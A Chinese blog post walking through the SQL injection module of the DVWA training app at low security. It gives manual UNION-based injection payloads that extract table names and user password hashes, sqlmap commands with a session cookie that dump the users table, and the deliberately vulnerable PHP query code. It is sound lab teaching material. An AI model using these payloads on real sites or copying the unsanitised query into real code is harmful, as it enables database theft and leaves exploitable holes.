mysql注入dvwa_DVWA学习之SQL注入

DVWA学习之SQL注入

环境工具

dvwa 1.9

phpstudy

firefox

burpsuite

实验步骤

一、设置安全级别为LOW

1. 登录DVWA,并将安全级别设置为LOW

2. 进入SQL注入模块,并输入1,返回结果如下

3. 下面判断注入类型是字符型注入还是整数型注入

字符型注入的SQL语句形如

select * from xx where id='$id'

整数型注入的SQL语句形如

select * from xx where id=$id

(1) 分别输入 1 and 1=1 和 1 and 1=2,都能返回正常结果

说明不是整数型注入,因为如果是整数型注入,执行select * from xx where id=1 and 1=2 时应报错。

(问:select * from xx where id='1 and 1=2' 这里应该不返回结果才对?)

(2) 输入 1’ or '1'='1 ,返回所有结果

4. 获取列数

(1) 1' or '1'='1' order by 3 #

(2)  1' or '1'='1' order by 2 #

说明表中的数据共两列

5. 获取数据库名

1' union select 1, database() #

6. 获取数据库中的表名

1'or'1'='1'union select 1,table_name from information_schema.tables where table_schema=database() #

获取guestbook, users 两张表

7. 获取users表中的列名

1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users' #

8. 获取users 表中的用户名密码

1' union select user,password from users #

用sqlmap 实现SQL注入

1. 尝试直接用url,发现结果跳转到登录页面,所以需要cookie

2. 带上cookie参数

python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1"

3.  使用--batch 参数,可以让sqlmap为我们自动填写执行选项

python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --batch

4. 使用--dbs 获取所有的数据库

python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --dbs

5. 使用-D指定数据库,--tables 查看数据中的表

python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --D dvwa --tables

6. 用-D xxx -T xxx 指定表,--columns查看表的列

python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --D dvwa -T users --columns

7. 用-C xxx --dump 输出指定列的数据

python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" -D dvwa -T users -C first_name,last_name,password --dump

(sqlmap 还可以爆破hash密码)

附录

服务器核心代码(LOW)

if( isset( $_REQUEST[ 'Submit' ] ) ) {

// Get input

$id = $_REQUEST[ 'id' ];

// Check database

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

$result = mysql_query( $query ) or die( '

' . mysql_error() . '
' );

// Get results

$num = mysql_numrows( $result );

$i = 0;

while( $i < $num ) {

// Get values

$first = mysql_result( $result, $i, "first_name" );

$last = mysql_result( $result, $i, "last_name" );

// Feedback for end user

echo "

ID: {$id}
First name: {$first}
Surname: {$last}
";

// Increase loop count

$i++;

}

mysql_close();

}

?>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值